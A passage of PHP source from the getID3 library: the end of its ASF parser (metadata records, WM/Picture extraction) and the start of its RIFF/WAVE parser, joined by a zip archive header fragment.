						$thisObject['stream_numbers'][$i] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Stream_Prioritization_Object:
					$thisObject['priority_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['priority_records_count']; $i++) {
						$priorityRecord = array();

						$priorityRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$priorityRecord['flags_raw']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$priorityRecord['flags']['mandatory'] = (bool) $priorityRecord['flags_raw'] & 0x00000001;

						$thisObject['priority_records'][$i] = $priorityRecord;
					}

					break;

				case GETID3_ASF_Padding_Object:
					// padding, skip it
					break;

				case GETID3_ASF_Metadata_Object:
					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
						$offset += 2;

						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];
						switch ($descriptionRecord['data_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0006: // GUID
								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
								break;
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Language_List_Object:
					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
						$languageIDrecord = array();

						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
						$offset += 1;

						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
						$offset += $languageIDrecord['language_id_length'];

						$thisObject['language_id_record'][$i] = $languageIDrecord;
					}
					break;

				case GETID3_ASF_Metadata_Library_Object:
					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];

						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
							foreach ($WMpicture as $key => $value) {
								$descriptionRecord['data'] = $WMpicture;
							}
							unset($WMpicture);
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Index_Parameters_Object:
					$thisObject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Media_Object_Index_Parameters_Object:
					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Timecode_Index_Parameters_Object:
					// 4.11	Timecode Index Parameters Object (mandatory only if TIMECODE index is present in file, 0 or 1)
					// Field name                     Field type   Size (bits)
					// Object ID                      GUID         128             // GUID for the Timecode Index Parameters Object - ASF_Timecode_Index_Parameters_Object
					// Object Size                    QWORD        64              // Specifies the size, in bytes, of the Timecode Index Parameters Object. Valid values are at least 34 bytes.
					// Index Entry Count Interval     DWORD        32              // This value is ignored for the Timecode Index Parameters Object.
					// Index Specifiers Count         WORD         16              // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater.
					// Index Specifiers               array of:    varies          //
					// * Stream Number                WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                   WORD         16              // Specifies the type of index. Values are defined as follows (1 is not a valid value):
					                                                               // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire video frame or the first fragment of a video frame
					                                                               // 3 = Nearest Past Cleanpoint - indexes point to the closest data packet containing an entire video frame (or first fragment of a video frame) that is a key frame.
					                                                               // Nearest Past Media Object is the most common value

					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Compatibility_Object:
					$thisObject['profile'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					$thisObject['mode']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					break;

				default:
					$unhandled_sections++;
					if ($this->GUIDname($thisObject['guid_text'])) {
						$this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8));
					}
					break;
			}
			$HeaderExtensionObjectParsed[] = $thisObject;

			$objectOffset += $thisObject['size'];
		}
		return $HeaderExtensionObjectParsed;
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function metadataLibraryObjectDataTypeLookup($id) {
		static $lookup = array(
			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
		);
		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
	}

	/**
	 * @param string $data
	 *
	 * @return array
	 */
	public function ASF_WMpicture(&$data) {
		//typedef struct _WMPicture{
		//  LPWSTR  pwszMIMEType;
		//  BYTE  bPictureType;
		//  LPWSTR  pwszDescription;
		//  DWORD  dwDataLen;
		//  BYTE*  pbData;
		//} WM_PICTURE;

		$WMpicture = array();

		$offset = 0;
		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
		$offset += 1;
		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
		$offset += 4;

		$WMpicture['image_mime'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_mime'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['image_description'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_description'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['dataoffset'] = $offset;
		$WMpicture['data'] = substr($data, $offset);

		$imageinfo = array();
		$WMpicture['image_mime'] = '';
		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
		unset($imageinfo);
		if (!empty($imagechunkcheck)) {
			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
		}
		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
			$this->getid3->info['asf']['comments']['picture'] = array();
		}
		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);

		return $WMpicture;
	}

	/**
	 * Remove terminator 00 00 and convert UTF-16LE to Latin-1.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimConvert($string) {
		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
	}

	/**
	 * Remove terminator 00 00.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimTerm($string) {
		// remove terminator, only if present (it should be, but...)
		if (substr($string, -2) === "\x00\x00") {
			$string = substr($string, 0, -2);
		}
		return $string;
	}

}
PKE]Zh!"!"module.audio-video.riff.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.riff.php                                 //
// module for analyzing RIFF files                             //
// multiple formats supported by this module:                  //
//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
// dependencies: module.audio.mp3.php                          //
//               module.audio.ac3.php                          //
//               module.audio.dts.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

/**
* @todo Parse AC-3/DTS audio inside WAVE correctly
* @todo Rewrite RIFF parser totally
*/

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);

class getid3_riff extends getid3_handler
{
	protected $container = 'riff'; // default

	/**
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// initialize these values to an empty array, otherwise they default to NULL
		// and you can't append array values to a NULL value
		$info['riff'] = array('raw'=>array());

		// Shortcuts
		$thisfile_riff             = &$info['riff'];
		$thisfile_riff_raw         = &$thisfile_riff['raw'];
		$thisfile_audio            = &$info['audio'];
		$thisfile_video            = &$info['video'];
		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
		$thisfile_riff_audio       = &$thisfile_riff['audio'];
		$thisfile_riff_video       = &$thisfile_riff['video'];
		$thisfile_riff_WAVE        = array();

		$Original                 = array();
		$Original['avdataoffset'] = $info['avdataoffset'];
		$Original['avdataend']    = $info['avdataend'];

		$this->fseek($info['avdataoffset']);
		$RIFFheader = $this->fread(12);
		$offset = $this->ftell();
		$RIFFtype    = substr($RIFFheader, 0, 4);
		$RIFFsize    = substr($RIFFheader, 4, 4);
		$RIFFsubtype = substr($RIFFheader, 8, 4);

		if ($RIFFsize == "\x00\x00\x00\x00") {
			// https://github.com/JamesHeinrich/getID3/issues/468
			// may occur in streaming files where the data size is unknown
			$thisfile_riff['header_size'] = $info['avdataend'] - 8;
			$this->warning('RIFF size field is empty, assuming the correct value is filesize-8 ('.$thisfile_riff['header_size'].')');
		} else {
			$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
		}

		switch ($RIFFtype) {
			case 'FORM':  // AIFF, AIFC
				//$info['fileformat']   = 'aiff';
				$this->container = 'aiff';
				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				break;

			case 'RIFF':  // AVI, WAV, etc
			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
				//$info['fileformat']   = 'riff';
				$this->container = 'riff';
				if ($RIFFsubtype == 'RMP3') {
					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
					$RIFFsubtype = 'WAVE';
				}
				if ($RIFFsubtype != 'AMV ') {
					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
					// Handled separately in ParseRIFFAMV()
					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				}
				if (($info['avdataend'] - $info['filesize']) == 1) {
					// LiteWave appears to incorrectly *not* pad actual output file
					// to nearest WORD boundary so may appear to be short by one
					// byte, in which case - skip warning
					$info['avdataend'] = $info['filesize'];
				}

				$nextRIFFoffset = (int) $Original['avdataoffset'] + 8 + (int) $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
					try {
						$this->fseek($nextRIFFoffset);
					} catch (getid3_exception $e) {
						if ($e->getCode() == 10) {
							//$this->warning('RIFF parser: '.$e->getMessage());
							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
							break;
						} else {
							throw $e;
						}
					}
					$nextRIFFheader = $this->fread(12);
					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
						if (substr($nextRIFFheader, 0, 1) == "\x00") {
							// RIFF padded to WORD boundary, we're actually already at the end
							break;
						}
					}
					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
					$chunkdata = array();
					$chunkdata['offset'] = $nextRIFFoffset + 8;
					$chunkdata['size']   = $nextRIFFsize;
					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];

					switch ($nextRIFFheaderID) {
						case 'RIFF':
							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
							if (!isset($thisfile_riff[$nextRIFFtype])) {
								$thisfile_riff[$nextRIFFtype] = array();
							}
							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
							break;

						case 'AMV ':
							unset($info['riff']);
							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
							break;

						case 'JUNK':
							// ignore
							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
							break;

						case 'IDVX':
							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
							break;

						default:
							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
									break 2;
								}
							}
							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
							break 2;

					}

				}
				if ($RIFFsubtype == 'WAVE') {
					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
				}
				break;

			default:
				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
				return false;
		}

		$streamindex = 0;
		switch ($RIFFsubtype) {

			// http://en.wikipedia.org/wiki/Wav
			case 'WAVE':
				$info['fileformat'] = 'wav';

				if (empty($thisfile_audio['bitrate_mode'])) {
					$thisfile_audio['bitrate_mode'] = 'cbr';
				}
				if (empty($thisfile_audio_dataformat)) {
					$thisfile_audio_dataformat = 'wav';
				}

				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
				}
				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {

					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
						$this->error('Corrupt RIFF file: bitrate_audio == zero');
						return false;
					}
					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
					unset($thisfile_riff_audio[$streamindex]['raw']);
					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];

					$thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
						$this->warning('Audio codec = '.$thisfile_audio['codec']);
					}
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];

					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
						$info['playtime_seconds'] =  (float)getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $thisfile_audio['bitrate']);
					}

					$thisfile_audio['lossless'] = false;
					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {

							case 0x0001:  // PCM
								$thisfile_audio['lossless'] = true;
								break;

							case 0x2000:  // AC-3
								$thisfile_audio_dataformat = 'ac3';
								break;

							default:
								// do nothing
								break;

						}
					}
					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
				}

				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {

					// shortcuts
					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];

					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));

					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));

					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
					}
					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
					}
				}

				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));

					// This should be a good way of calculating exact playtime,
					// but some sample files have had incorrect number of samples,
					// so cannot use this method

					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
					// }
				}
				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
				}

				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];

					$thisfile_riff_WAVE_bext_0['title']          =                              substr($thisfile_riff_WAVE_bext_0['data'],   0, 256);
					$thisfile_riff_WAVE_bext_0['author']         =                              substr($thisfile_riff_WAVE_bext_0['data'], 256,  32);
					$thisfile_riff_WAVE_bext_0['reference']      =                              substr($thisfile_riff_WAVE_bext_0['data'], 288,  32);
					foreach (array('title','author','reference') as $bext_key) {
						// Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets
						// assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage
						// Keep only string as far as first null byte, discard rest of fixed-width data
						// https://github.com/JamesHeinrich/getID3/issues/263
						// https://github.com/JamesHeinrich/getID3/issues/430
						$null_terminator_rows = explode("\x00", $thisfile_riff_WAVE_bext_0[$bext_key]);
						$thisfile_riff_WAVE_bext_0[$bext_key] = $null_terminator_rows[0];
					}

					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
							$bext_timestamp = array();
							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
						} else {
							$this->warning('RIFF.WAVE.BEXT.origin_time is invalid');
						}
					} else {
						$this->warning('RIFF.WAVE.BEXT.origin_date is invalid');
					}
					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
